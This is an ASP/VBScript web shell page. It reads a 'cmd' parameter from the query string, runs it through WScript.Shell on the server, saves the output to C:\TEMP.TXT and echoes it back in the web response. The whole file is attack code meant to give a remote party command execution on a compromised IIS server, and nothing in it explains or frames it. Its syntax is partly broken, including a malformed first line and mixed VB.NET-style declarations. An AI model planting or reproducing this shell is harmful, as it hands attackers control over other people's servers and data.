%@ Page aspcompat=true Language="VBScript" Debug="true" %>
<%
Dim cmd
Dim WshShell
cmd = Request.QueryString("cmd")
WshShell = Server.CreateObject("WScript.Shell")
WshShell.Run("CMD START /MIN /C " & cmd & " > C:\TEMP.TXT", 1, true)
WshShell = Nothing
Const Filename = "C:\TEMP.TXT"
Const ForReading = 1, ForWriting = 2, ForAppending = 3
Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0
Dim FSO = server.createObject("Scripting.FileSystemObject")
'Dim Filepath = Server.MapPath(Filename)
Dim file = FSO.GetFile(Filename)
Dim TextStream = file.OpenAsTextStream(ForReading, TristateUseDefault)
Do While Not TextStream.AtEndOfStream
Dim Line
Line = TextStream.readline
Line = Line & vbCRLF
Response.write(Line)
Loop
%>
|